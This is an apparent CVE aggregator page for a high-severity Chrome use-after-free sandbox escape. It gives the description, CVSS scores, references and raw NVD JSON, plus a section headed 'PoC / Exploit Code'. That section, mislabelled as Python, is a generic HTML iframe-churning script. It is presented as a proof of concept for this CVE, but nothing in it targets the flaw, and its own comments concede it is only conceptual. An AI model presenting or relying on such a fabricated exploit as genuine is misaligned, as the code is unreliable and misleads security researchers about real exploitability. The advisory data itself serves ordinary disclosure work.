CVE-2026-9937

Description

Use after free in UI in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Conceptual Proof of Concept for CVE-2026-9937
This HTML page attempts to trigger the Use-After-Free in UI component.
Note: Actual exploitation requires a compromised renderer process.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9937 PoC</title>
</head>
<body>
<script>
    // Simulate rendering process activity interacting with Browser UI
    function trigger_vulnerability() {
        // Create a complex DOM structure to stress UI components
        const container = document.createElement('div');
        document.body.appendChild(container);

        // Rapidly manipulate elements to potentially trigger UAF
        for (let i = 0; i < 100; i++) {
            let element = document.createElement('iframe');
            element.src = 'about:blank';
            container.appendChild(element);
            
            // Force layout recalculations (UI interaction)
            element.contentWindow.location.reload();
            
            // Remove element (Potential Free)
            container.removeChild(element);
            
            // Attempt access (Potential Use)
            // In a real scenario, specific timing or API calls would target the freed UI object
            console.log(element.contentWindow);
        }
    }

    // Trigger on load
    window.onload = trigger_vulnerability;
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9937
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9937
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9937/
[4] VulDB https://vuldb.com/cve/CVE-2026-9937
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/502112506

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9937", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:51.830", "lastModified": "2026-05-29T15:16:26.057", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in UI in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/502112506", "source": "[email protected]"}]}}